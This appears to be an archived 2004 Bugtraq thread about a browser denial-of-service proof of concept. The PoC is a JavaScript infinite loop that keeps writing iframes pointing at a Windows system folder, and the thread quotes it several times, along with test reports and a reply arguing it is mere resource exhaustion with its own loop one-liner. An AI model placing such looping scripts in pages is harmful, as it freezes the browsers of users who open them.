Bekijk Volledige Versie : IE, Firefox, Opera DoS
Description
========
Browser DoS through viewing of a malicious page that repeatedly loads iframes of C:\Windows\System32 using 100% cpu
Tested on Mozilla Firefox 0.9.3, Opera 7.54 and IE 6.0 - Opera gives the error "The address type is unknown or unsupported" over and over
POC
===
URL : http://www.su1d.net/iframe2.html
<scr1pt language="JavaScript">
while(true)
{
document.write("<iframe src=\"C:\Windows\system32\"></iframe>");
}
</scr1pt>
Discovered by MeFakon from the su1d exploit development team
Dan Pixley
26/08/04, 05:55
Tested this in Mozilla 1.7.2 and Epiphany 1.2.6 in Linux (kernel 2.6.8,
Gentoo, Gnome 2.6.2).
Each browser comes up with a warning about running the script. The user
can chose to run it or not. Either way, a dialog box reloads over and
over until the main window is forced closed with xkill.
Dan Pixley
On Sat, 2004-08-21 at 20:41, exploits@su1d.net wrote:
> Description
> ========
>
> Browser DoS through viewing of a malicious page that repeatedly loads iframes of C:\Windows\System32 using 100% cpu
> Tested on Mozilla Firefox 0.9.3, Opera 7.54 and IE 6.0 - Opera gives the error "The address type is unknown or unsupported" over and over
>
> POC
> ===
> URL : http://www.su1d.net/iframe2.html
>
> <scr1pt language="JavaScript">
> while(true)
> {
> document.write("<iframe src=\"C:\Windows\system32\"></iframe>");
> }
> </scr1pt>
> Discovered by MeFakon from the su1d exploit development team
>
GulfTech Security
26/08/04, 07:55
Correct me if I am wrong, but isn't this just an exhaustion of resources and
not a "vulnerability" at all? You could have it write text to the page
instead of iframes and you get the same results because the JavaScript goes
into an infinite loop.
Does having your 486 freeze up when you attempt to open a 700mb DivX file
constitute as a vulnerability of the media software or operating system? I
think not. Here is a "one liner" I wrote that does the same thing, but I do
not in ANY way consider this a vulnerabity.
<script> var i = 1; while (i) </script>
James
-----Original Message-----
From: Dan Pixley [mailto:danpixley@cox.net]
Sent: Monday, August 23, 2004 8:10 AM
To: exploits@su1d.net; bugtraq@securityfocus.com
Subject: Re: IE, Firefox, Opera DoS
Tested this in Mozilla 1.7.2 and Epiphany 1.2.6 in Linux (kernel 2.6.8,
Gentoo, Gnome 2.6.2).
Each browser comes up with a warning about running the script. The user
can chose to run it or not. Either way, a dialog box reloads over and
over until the main window is forced closed with xkill.
Dan Pixley
> Browser DoS through viewing of a malicious page that repeatedly loads
iframes of C:\Windows\System32 using 100% cpu
> Tested on Mozilla Firefox 0.9.3, Opera 7.54 and IE 6.0 - Opera gives
the error "The address type is unknown or unsupported" over and over
>